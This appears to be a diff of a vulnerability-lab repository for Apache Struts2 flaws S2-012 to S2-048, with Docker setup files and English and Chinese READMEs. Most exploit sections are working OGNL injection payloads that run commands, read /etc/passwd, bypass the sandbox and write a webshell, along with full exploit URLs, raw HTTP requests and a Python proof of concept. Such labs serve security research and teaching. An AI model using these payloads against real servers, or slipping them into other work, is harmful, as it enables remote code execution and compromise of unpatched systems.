%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```
发送请求,执行命令:
![](1.png)

BIN
struts2/s2-012/S2-012.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-013/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

10
struts2/s2-013/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-013.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

49
struts2/s2-013/README.md Normal file
View File

@@ -0,0 +1,49 @@
# S2-013/S2-014 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.14.1
Details:
- http://struts.apache.org/docs/s2-013.html
- http://struts.apache.org/docs/s2-014.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
The Struts2's tag, `<s:a>` and `<s:url>`, provide an includeParams attribute.The main scope of that attribute is to understand whether includes http request parameter or not.
The allowed values of includeParams are:
1. none - include no parameters in the URL (default)
2. get - include only GET parameters in the URL
3. all - include both GET and POST parameters in the URL
When `includeParams=all`, the GET and POST parameters of this request are placed on the GET parameter of the URL. During this process, the parameters will be parsed by OGNL expressions. It cause the command execution.
Remote Code Execution POC
```
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
```
Example:`http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D`
![](1.png)
S2-014 is a correction to S2-013. Because when S2-013 is fixed, the execution method of OGNL expression such as ${ognl_exp} is ignored, and S2-014 is an enhanced patch for it.
```
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
```

View File

@@ -0,0 +1,45 @@
# S2-013/S2-014 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.14.1
漏洞详情:
- http://struts.apache.org/docs/s2-013.html
- http://struts.apache.org/docs/s2-014.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理与测试
Struts2 标签中 `<s:a>``<s:url>` 都包含一个 includeParams 属性,其值可设置为 noneget 或 all参考官方其对应意义如下
1. none - 链接不包含请求的任意参数值(默认)
2. get - 链接只包含 GET 请求中的参数和其值
3. all - 链接包含 GET 和 POST 所有参数和其值
`<s:a>`用来显示一个超链接,当`includeParams=all`的时候会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染造成任意命令执行漏洞。
任意命令执行POC
```
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
// 或
${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
```
如:`http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D`
![](1.png)
S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此 S2-014 是对其的补丁加强。
```
http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D
```

BIN
struts2/s2-013/S2-013.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-015/01.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

BIN
struts2/s2-015/02.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

10
struts2/s2-015/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
COPY S2-015.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

58
struts2/s2-015/README.md Normal file
View File

@@ -0,0 +1,58 @@
# S2-015 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.14.2
Details: http://struts.apache.org/docs/s2-015.html
## Setup
```
docker compose build
docker compose up -d
```
## Reference
Struts 2 allows define action mapping base on wildcards, like in example below:
```xml
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
```
If a request doesn't match any other defined action, it will be matched by * and requested action name will be used to load JSP file base on the name of action. And as value of {1} is threaten as an OGNL expression, thus allow to execute arbitrary Java code on server side. This vulnerability is combination of two problems:
1. requested action name isn't escaped or checked agains whitelist
2. double evaluation of an OGNL expression in TextParseUtil.translateVariables when combination of $ and % open chars is used.
## Exploit
Payload as follows
```
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
```
Result:
![](01.png)
In addition to the above situation, S2-015 has another case of code execution:
```xml
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
```
Result:
![](02.png)

View File

@@ -0,0 +1,61 @@
# S2-015 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.14.2
漏洞详情:
- http://struts.apache.org/docs/s2-015.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 原理与测试
漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:
```xml
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
```
上述配置能让我们访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / " \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了 SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2 版本以后都不能直接通过 `#_memberAccess['allowStaticMethodAccess']=true` 来修改其值达到重获静态方法调用的能力。
这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new java.lang.ProcessBuilder('calc')).start() 来解决,另外还可以借助 Java 反射机制去间接修改:
```
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)
```
可以构造 Payload 如下:
```
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()),#q}
```
直接回显:
![](01.png)
除了上面所说到的这种情况以外S2-015 还涉及一种二次引用执行的情况:
```xml
<action name="param" class="com.demo.action.ParamAction">
<result name="success" type="httpheader">
<param name="error">305</param>
<param name="headers.fxxk">${message}</param>
</result>
</action>
```
这里配置了 `<param name="errorMessage">${message}</param>`,其中 message 为 ParamAction 中的一个私有变量,这样配置会导致触发该 Result 时Struts2 会从请求参数中获取 message 的值,并在解析过程中,触发了 OGNL 表达式执行,因此只用提交 %{1111*2} 作为其变量值提交就会得到执行。这里需要注意的是这里的二次解析是因为在 struts.xml 中使用 ${param} 引用了 Action 中的变量所导致的,并不针对于 type="httpheader" 这种返回方式。
![](02.png)

BIN
struts2/s2-015/S2-015.war Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-016/01.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

10
struts2/s2-016/Dockerfile Normal file
View File

@@ -0,0 +1,10 @@
FROM vulhub/tomcat:8.5
LABEL maintainer="phithon <root@leavesongs.com>"
RUN set -ex \
&& rm -rf /usr/local/tomcat/webapps/* \
&& chmod a+x /usr/local/tomcat/bin/*.sh
ADD https://download.vulhub.org/download/struts2/s2-016/ROOT.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080

43
struts2/s2-016/README.md Normal file
View File

@@ -0,0 +1,43 @@
# S2-016 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.15
Details:
- http://struts.apache.org/docs/s2-016.html
- http://www.freebuf.com/articles/web/25337.html
## Setup
```
docker compose build
docker compose up -d
```
## Exploit
Visit `http://your-ip:8080/index.action?redirect:OGNL expression` to execute an OGNL expression.
Execute `uname -a`:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
Get web directory:
```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```
Get webshell
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
```
Result:
![](01.png)

View File

@@ -0,0 +1,43 @@
# S2-016 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.15
漏洞详情:
- http://struts.apache.org/docs/s2-016.html
- http://www.freebuf.com/articles/web/25337.html
## 测试环境搭建
```
docker compose build
docker compose up -d
```
## 漏洞复现
在struts2中DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀但是这些前缀后面同时可以跟OGNL表达式由于struts2没有对这些前缀做过滤导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以,访问`http://your-ip:8080/index.action?redirect:OGNL表达式`即可执行OGNL表达式。
执行命令:
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
```
获取web目录
```
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
```
写入webshell
```
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}
```
执行结果:
![](01.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
build: .
ports:
- "8080:8080"

BIN
struts2/s2-032/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

36
struts2/s2-032/README.md Normal file
View File

@@ -0,0 +1,36 @@
# S2-032 Remote Code Execution VulnerablityCVE-2016-3081
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
References:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cnblogs.com/mrchang/p/6501428.html
## Setup
Execute the following command to start the Struts2 2.3.28
```
docker compose up -d
```
After the container is running, visit `http://your-ip:8080` that you can see an example page.
## Exploitation
Theres a feature embedded in Struts 2 that lets the "!" (bang) character invoke a method other than execute. It is called “Dynamic Method Invocation” aka DMI.
A simple way to use DMI is to provide HTTP parameters prefixed with `method:`. For example in the URL it could be `/category.action?method:create=foo`, the parameter value is ignored.
The method name of DMI will be evaluated by OGNL expression engine, which would cause the RCE vulnerability.
Visit following URL to trigger the `id` command:
```
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
```
![](1.png)

View File

@@ -0,0 +1,30 @@
# S2-032 远程代码执行漏洞CVE-2016-3081
影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-032
- https://www.cnblogs.com/mrchang/p/6501428.html
## 漏洞环境
执行如下命令启动struts2 2.3.28
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到默认页面。
## 漏洞复现
Struts2在开启了动态方法调用Dynamic Method Invocation的情况下可以使用`method:<name>`的方式来调用名字是`<name>`的方法而这个方法名将会进行OGNL表达式计算导致远程命令执行漏洞。
直接请求如下URL即可执行`id`命令:
```
http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
```
![](1.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.28
ports:
- "8080:8080"

BIN
struts2/s2-045/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

42
struts2/s2-045/README.md Normal file
View File

@@ -0,0 +1,42 @@
# S2-045 Remote Code Execution VulnerablityCVE-2017-5638
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
References:
- http://struts.apache.org/docs/s2-045.html
- https://nsfocusglobal.com/apache-struts2-remote-code-execution-vulnerability-s2-045/
## Setup
Execute the following command to start the Struts2 2.3.30
```
docker compose up -d
```
After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page.
## Exploitation
Verify the vulnerability by following request:
```
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
```
`233*233` has been successfully executed:
![](1.png)

View File

@@ -0,0 +1,39 @@
# S2-045 远程代码执行漏洞CVE-2017-5638
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
- http://struts.apache.org/docs/s2-045.html
- https://blog.csdn.net/u011721501/article/details/60768657
- https://paper.seebug.org/247/
## 漏洞环境
执行如下命令启动struts2 2.3.30
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到上传页面。
## 漏洞复现
直接发送如下数据包,可见`233*233`已成功执行:
```
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
```
![](1.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.30
ports:
- "8080:8080"

BIN
struts2/s2-046/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 195 KiB

57
struts2/s2-046/README.md Normal file
View File

@@ -0,0 +1,57 @@
# S2-046 Remote Code Execution VulnerablityCVE-2017-5638
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
References:
- https://cwiki.apache.org/confluence/display/WW/S2-046
- https://xz.aliyun.com/t/221
## Setup
Execute the following command to start the Struts2 2.3.30
```
docker compose up -d
```
After the container is running, visit `http://your-ip:8080` that you can see an example of the upload page.
## Exploitation
As same as S2-045, S2-046 is also the OGNL injection but occurs at filename field of the upload request, and a NUL byte is needed to split payload and the remaining strings.
A simple Python POC for Verifying the vulnerability:
```python
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
```
`233*233` has been successfully executed:
![](1.png)

View File

@@ -0,0 +1,55 @@
# S2-046 远程代码执行漏洞CVE-2017-5638
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
- https://cwiki.apache.org/confluence/display/WW/S2-046
- https://xz.aliyun.com/t/221
## 漏洞环境
执行如下命令启动struts2 2.3.30
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到上传页面。
## 漏洞复现
与s2-045类似但是输入点在文件上传的filename值位置并需要使用`\x00`截断。
由于需要发送畸形数据包我们简单使用原生socket编写payload
```python
import socket
q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
Content-Type: text/plain
foo
------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
p = b'''POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
Content-Length: %d
'''.replace(b'\n', b'\r\n') % (len(q), )
with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
conn.send(p + q)
print(conn.recv(10240).decode())
```
`233*233`已成功执行:
![](1.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.30
ports:
- "8080:8080"

BIN
struts2/s2-048/01.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 21 KiB

BIN
struts2/s2-048/02.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.4 KiB

BIN
struts2/s2-048/03.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

45
struts2/s2-048/README.md Normal file
View File

@@ -0,0 +1,45 @@
# S2-048 Remote Code Execution Vulnerablity
[中文版本(Chinese version)](README.zh-cn.md)
Affected Version: 2.0.0 - 2.3.32
Details:
- http://struts.apache.org/docs/s2-048.html
- http://bobao.360.cn/learning/detail/4078.html
- http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
## Setup
```
docker compose up -d
```
## Exploit
This environment is a struts-2.3.32 showcase, in tomcat-8.5. After the environment run, visit the `http://your-ip:8080/showcase/` to view struts2 showcase.
Access Integration/Struts 1 Integration:
![](01.png)
The OGNL expression vulnerability position is `Gangster Name` form.
Enter `${233*233}` to see the results of the execution:
![](02.png)
Refer S2-045's sandbox bypass method, here is my POC:
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
```
![](03.png)
Of course, you can also use the POC of s2-045 directly (need Burpsuite):
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

View File

@@ -0,0 +1,45 @@
# S2-048 远程代码执行漏洞
影响版本: 2.0.0 - 2.3.32
漏洞详情:
- http://struts.apache.org/docs/s2-048.html
- http://bobao.360.cn/learning/detail/4078.html
- http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
## 测试环境搭建
```
docker compose up -d
```
## 漏洞复现
原理详见参考文档,这里只说一下当前环境。
这个环境是直接下载的struts-2.3.32的showcase部署在tomcat-8.5下。环境启动后,访问`http://your-ip:8080/showcase/`即可查看到struts2的测试页面。
访问Integration/Struts 1 Integration
![](01.png)
触发OGNL表达式的位置是`Gangster Name`这个表单。
输入`${233*233}`即可查看执行结果(剩下两个表单随意填写):
![](02.png)
借用S2-045的沙盒绕过方法我改了一个POC。将如下POC填入表单`Gengster Name`中,提交即可直接回显命令执行的结果:
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
```
![](03.png)
当然你也可以直接用s2-045的POC你需要在Burp下进行测试
```
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
```

View File

@@ -0,0 +1,6 @@
version: '2'
services:
struts2:
image: vulhub/struts2:2.3.32-showcase
ports:
- "8080:8080"

BIN
struts2/s2-052/01.png Normal file

